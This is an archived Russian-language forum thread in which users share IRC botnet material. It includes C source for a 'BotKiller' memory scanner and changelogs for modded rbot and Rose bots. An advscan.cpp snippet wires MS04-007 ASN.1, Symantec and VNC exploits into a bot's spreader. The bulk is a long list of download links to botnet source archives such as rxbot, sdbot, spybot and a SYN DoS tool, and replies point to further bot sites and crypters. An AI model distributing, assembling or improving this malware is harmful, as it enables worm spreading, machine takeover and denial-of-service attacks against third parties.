Просмотр полной версии : Bots / Source-Codes
BotKiller by a59
/*
BotKiller
Coded by a59
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 );
void KillBot( PROCESSENTRY32 pe32 );
struct s_Search
{
char* szBot;
char* szString;
};
s_Search sSearch[ ] =
{
{ "VNC Scanning Bot", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" },
{ "RXBot", "[MAIN]" },
{ "RXBot", "[SCAN]" },
{ "RXBot", "[FTP]" },
{ "Unknown", "&echo bye" },
{ NULL, NULL }
};
void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 )
{
char szBigBuffer[ 0x5000 ] = { 0 };
unsigned char Curbuf[ 0x500 ] = { 0 };
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr );
for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ )
{
BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL );
if( bRead )
{
int c = 0;
strcat( szBigBuffer, (char *)Curbuf );
while( sSearch[ c ].szString != NULL )
{
if( strstr( szBigBuffer, sSearch[ c ].szString ) )
{
printf( "Found string \"%s\" in \"%s\" bot \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot );
KillBot( pe32 );
}
c++;
}
if( sizeof( szBigBuffer ) > 0x150 )
ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) );
}
if( !bRead )
break;
}
CloseHandle( hProcess );
};
void KillBot( PROCESSENTRY32 pe32 )
{
MODULEENTRY32 me32 = { 0 };
HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID );
HANDLE hKillProcess;
me32.dwSize = sizeof( me32 );
BOOL bRetval = Module32First( hPath, &me32 );
while( bRetval )
{
if( !strcmp( pe32.szExeFile, me32.szModule ) )
{
SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL );
hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
TerminateProcess( hKillProcess, 0 );
Sleep( 500 );
if( DeleteFile( me32.szExePath ) )
printf( "Terminated and deleted %s\n", me32.szExePath );
}
bRetval = Module32Next( hPath, &me32 );
}
CloseHandle( hKillProcess );
CloseHandle( hPath );
};
int main( )
{
char szFile[ 128 ];
GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) );
char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile };
HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof( PROCESSENTRY32 );
BOOL bRetval = Process32First( hProcess, &pe32 );
bool bDoSearch = true;
while( bRetval )
{
Sleep( 250 );
for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ )
{
if( strstr( szBlockList[ i ], pe32.szExeFile ) )
bDoSearch = false;
}
if( bDoSearch )
{
DoSearch( 0x00400000, 0x004FFFFF, pe32 );
DoSearch( 0x00100000 ,0x001FFFFF, pe32 );
}
else
bDoSearch = true;
bRetval = Process32Next( hProcess, &pe32 );
}
CloseHandle( hProcess );
printf( "Done scanning, press ENTER to exit this program.\n" );
getchar( );
return 0;
};
Rbot-Smod
/*
Modded Rbot (version 0.2.1) by S (credit goes to rbotdev team for creating this bot, and racerx90 for warning fix)
-fixed warnings // thx to racerx90
-fixed regstart // so it doesnt hang on reboot
-added more ntpasses //
-added Csendfilemsg // taken from rbot2.2 shows which share is exploitet.
-added dameware (test) // removed
-added mydoom (test) // have no idea if the source wrks.
-added more ntshares (experimental) // should get me 1 or 2 bots more Wink
Coming up.
-netcommandmodule // racerx90 did it again
-dcom // if know how to
-dameware // if i can find the source needed.
*/
Download
http://rapidshare.com/files/17062314/rbot-smod.rar
Programmed by: PrinceAli
Language: Delphi
Release Date: 04/11/2004
Description:
Advanced IRC bot with a lot of features. In beta stage. Read the help.chm for the features.
http://rapidshare.com/files/46929348/nuclearbot10beta1.zip
http://rapidshare.com/files/46930082/nuclearBot.rar
[b]Kaiten.c.Bot[b/]
/*
#############################################
# #
# Rose 2008 QuickFix. #
# So Far: #
# Removed SYN #
# Removed DCOM #
# Removed LSASS #
# Added VNC #
# Added SCANALL #
# Added SYM #
# Removed TASKHIDER #
# WORK IN PROGRESS... #
# IRC.BLUEHELL.ORG - IRC.BLUEHELL.ORG #
# #x0 #x0 #x0 #x0 #x0 #x0 #x0 #x0 #x0 #
# #
#############################################
http://rapidshare.com/files/20556964/Rose_2008.rar
Add this to advscan.cpp
#ifndef NO_MS04007ASN1
{ "asn1smb", "asn1smb", 445, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE },
{ "asn1smbnt", "asn1smbnt",139, MS04_007_MSASN1_PortedByScriptGod, 0, FALSE, TRUE },
#endif
#ifndef NO_SYM06010
{"sym", "sym", 2967, SYMExploit, 0, TRUE, TRUE},
#endif
#ifndef NO_VNC
{"vnc", "vnc", 5900, VNCExploit, 0, FALSE, FALSE},
#endif
http://rapidshare.com/files/19840994/Rose_2008_Exploits.rar.html
Смысл выкладывать по одному?
http://securitydot.net/exploits/index.php?dir=bots/
http://rapidshare.com/files/52835354/Rose_2008.rar
http://rapidshare.com/files/52836063/zunker.rar
http://rapidshare.com/files/52836081/gsys3_final.zip
http://rapidshare.com/files/52836106/h4x0rb0t_2.0_gt_edition.zip
http://rapidshare.com/files/52836110/q8bot.zip
http://rapidshare.com/files/52836234/rxbot_0.65.zip
http://rapidshare.com/files/52836409/sd_bot_all.zip
http://rapidshare.com/files/52836447/spybot_1.2c.zip
http://rapidshare.com/files/52836511/spybot_1.3m.zip
http://rapidshare.com/files/52836571/spybot_1.4.zip
http://rapidshare.com/files/52836606/tgspy_nt.zip
http://rapidshare.com/files/52836638/vbbot.zip
http://rapidshare.com/files/52836670/wisdom.zip
http://rapidshare.com/files/52837065/_sHk-Bot.svchost-ns-dev.NOT-FOR-RELEASE_.rar
http://rapidshare.com/files/52837286/bBot-Version_0.6.rar
http://rapidshare.com/files/52837430/BlowSXT.rar
http://rapidshare.com/files/52837462/bmw.rar
http://rapidshare.com/files/52837471/Brainbot_v1.5.zip
http://rapidshare.com/files/52837610/ciscobawt.rar
http://rapidshare.com/files/52837950/Crackbot_v1.4b-final_spin.zip
http://rapidshare.com/files/52838058/Crx-realmbot_VNC_exploit.rar
http://rapidshare.com/files/52838136/CYBERBOTv2.2-Stable.m0dd_ownz.DreamWoRK.rar
http://rapidshare.com/files/52838409/Darkness.last.mod.rar
http://rapidshare.com/files/52838488/dopebot.rar
http://rapidshare.com/files/52838593/dopebot_current.rar
http://rapidshare.com/files/52838764/drx_realcast_woopie.rar
http://rapidshare.com/files/52839155/ForBot____sniffer__other_mods-_ch405_.rar
http://rapidshare.com/files/52840566/ForBot_Olin-SYM-VNC-NETAPI-All_The_Public_Shit.rar
http://rapidshare.com/files/52840572/fxBot_beta_.rar
http://rapidshare.com/files/52840627/Gellbot_3.rar
http://rapidshare.com/files/52841090/GENTOOreptile-base.rar
http://rapidshare.com/files/52841321/g-spotv2.0.rar
http://rapidshare.com/files/52841686/gt.zip
http://rapidshare.com/files/52841920/gt-badteam.rar
http://rapidshare.com/files/52841936/gtbot-hackersteam.zip
http://rapidshare.com/files/52841977/gtsev-spreader_2_.rar
http://rapidshare.com/files/52842027/gtsev-spreader.rar
http://rapidshare.com/files/52842487/gt-virtualslut.rar
http://rapidshare.com/files/52842765/H-Bot_M0d_3.0_M0dd3d_by_TH___Sculay.rar
http://rapidshare.com/files/52842810/hellbot10-06-05.rar
http://rapidshare.com/files/52842901/IHS-H-A-V003-Exploits.zip
http://rapidshare.com/files/52843170/iis-gt-bot.rar
http://rapidshare.com/files/52843273/InTeL_m0dd-Test101-ms0640.rar
http://rapidshare.com/files/52843363/irbot0.15.rar
http://rapidshare.com/files/52843408/IrcWormv1.3-SourceCode.zip
http://rapidshare.com/files/52844568/IrINi_bot_0.1_public_limited_version_for_win32.rar
http://rapidshare.com/files/52844948/italian.zip
http://rapidshare.com/files/52845113/JRBOT_Modded_By__bloody_.rar
http://rapidshare.com/files/52845177/litmus2-bot_2_.rar
http://rapidshare.com/files/52845236/litmus2-bot.rar
http://rapidshare.com/files/52845315/M0LdBotv1.0-small.rar
http://rapidshare.com/files/52845448/mm0d_asn_.rar
http://rapidshare.com/files/52845604/mmodbasn.rar
http://rapidshare.com/files/52845663/MSITBotWin.rar
http://rapidshare.com/files/52845796/mystic-Urx.rar
http://rapidshare.com/files/52845929/mystic-Urx_Fixed_by_Pr1muz.rar
http://rapidshare.com/files/52846023/nesebot1.1r-ASN-PNP.rar
http://rapidshare.com/files/52846144/nesebot1.2.rar
http://rapidshare.com/files/52846279/Netapi.Prueb-Norman.2oo6.Prif-Jessi-Off.rar
http://rapidshare.com/files/52846415/New_NZM_netapi_bot.rar
http://rapidshare.com/files/52846446/NtScan-rbot.rar
http://rapidshare.com/files/52846659/nzm_priv_shit.rar
http://rapidshare.com/files/52846786/nzmlite_symantec___.rar
http://rapidshare.com/files/52846822/oscar.rar
http://rapidshare.com/files/52846830/php_bot.rar
http://rapidshare.com/files/52846983/plague.gecko.netapi.rar
http://rapidshare.com/files/52847104/private_enzyme_rxmod_04-04-05.rar
http://rapidshare.com/files/52847250/prv_nzm-rx.sp2fix.rcast.rar
http://rapidshare.com/files/52847358/r00t3d.asn.ftp.lsass.by.Morgan.rar
http://rapidshare.com/files/52847571/rbot_netapi_vnc_ipswitch.rar
http://rapidshare.com/files/52847611/rbot-LC-Priv8.rar
http://rapidshare.com/files/52847791/rBot-sxt-harro.rar
http://rapidshare.com/files/52847896/rBotv0.6.6-privlsass.rar
http://rapidshare.com/files/52847937/rnm5b.rar
http://rapidshare.com/files/52847984/RNM5-Priv-Pr1muZ.rar
http://rapidshare.com/files/52848075/Rose_v1.3_2007_by_DreamWoRK.rar
http://rapidshare.com/files/52848163/Ruffbot1.2-MassAsnPrivShit-150705.rar
http://rapidshare.com/files/52848374/Ruffbotv2.rar
http://rapidshare.com/files/52848463/rx-14-09-06_Netapi_doyley.rar
http://rapidshare.com/files/52848709/rx_dev_service_working_lsass_sasser_ftpd.rar
http://rapidshare.com/files/52848869/Rx_Temptation.rar
http://rapidshare.com/files/52849034/rx-asn-2-re-worked_v2.rar
http://rapidshare.com/files/52849219/rx-asn-2-re-worked_v3.rar
http://rapidshare.com/files/52849439/RXB__tM__d-VNC-NETAPI-ASN-2006.rar
http://rapidshare.com/files/52849760/rxbot7.5.rar
http://rapidshare.com/files/52849925/rxbot2006.rar
http://rapidshare.com/files/52850260/rxBot_v0.7.7_Sass.rar
http://rapidshare.com/files/52850393/Rxbot_7.6-Modded-Tr0gdor_2_.rar
http://rapidshare.com/files/52850526/Rxbot_7.6-Modded-Tr0gdor.rar
http://rapidshare.com/files/52850644/rxbot_undertow-6-6-05ASN.rar
http://rapidshare.com/files/52850725/rxbot_undertow-6-10-05.rar
http://rapidshare.com/files/52850857/rxbot-EcLiPsE-cReW-1.1.priv.rar
http://rapidshare.com/files/52851010/RxBot-MP.rar
http://rapidshare.com/files/52851093/RXBOT-RevengE2005pnp.rar
http://rapidshare.com/files/52851227/rx-sky2kpnpprivate.rar
http://rapidshare.com/files/52851269/SBX.amk.0x00.rar
http://rapidshare.com/files/52851317/sdbot05b_skbot__mods_by_sketch.rar
http://rapidshare.com/files/52851337/sdbot05b-AE.zip
http://rapidshare.com/files/52851544/Sdbot_Hardcore_Mod_By_StOner.zip
http://rapidshare.com/files/52851581/SDBOTNTSharesHardCorePrivM0D.rar
http://rapidshare.com/files/52851826/SDNB.sirh0t.FiXED.PNP.ASN.rar
http://rapidshare.com/files/52851889/sdnbbot_sp2mod_wks_kelvir.rar
http://rapidshare.com/files/52851983/skatan-bot.rar
http://rapidshare.com/files/52852117/SkuZ-Netapi.rar
http://rapidshare.com/files/52852198/spybot1.4.zip
http://rapidshare.com/files/52852223/spybot2nd.rar
http://rapidshare.com/files/52852264/spybot_1.3m.zip
http://rapidshare.com/files/52852412/srbot.rar
http://rapidshare.com/files/52852449/stubos-public.zip
http://rapidshare.com/files/52852591/symn.rar
http://rapidshare.com/files/52852593/SynDoS1.1.zip
http://rapidshare.com/files/52852739/uber-wks-asn-m0dded-Pr1v_2_.rar
http://rapidshare.com/files/52852969/uber-wks-asn-m0dded-Pr1v_3_.rar
http://rapidshare.com/files/52853119/uber-wks-asn-m0dded-Pr1v.rar
http://rapidshare.com/files/52853255/Urxbot.pRiV-sKull.MoD-ASN_FTP_WORKING.rar
http://rapidshare.com/files/52853364/URX-pnp-asn.rar
http://rapidshare.com/files/52853396/wisdom_phr0st_modd.zip
http://rapidshare.com/files/52853436/xerion2.5.rar
http://rapidshare.com/files/52853475/xTBot.0.0.2-priv.rar
nice collection,thx... btw
u can find more bots also here:
http://www.botcu.net/index.html
http://exy.hu/
http://bot-dlbaze.extra.hu/
На каком то сайте я видел эту базу ботов гдето пару месяцев назад. Российского производства ботов нету чтото ) типа Dkcs и Illusion )
В инете подобную базу криптеров встречал. (но там не все есть исходники), кому нужно пишите в PM дам линк, а то тут такое размещать правила запрещают )
предлагаю прикрепить, чтоб не утонуло
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot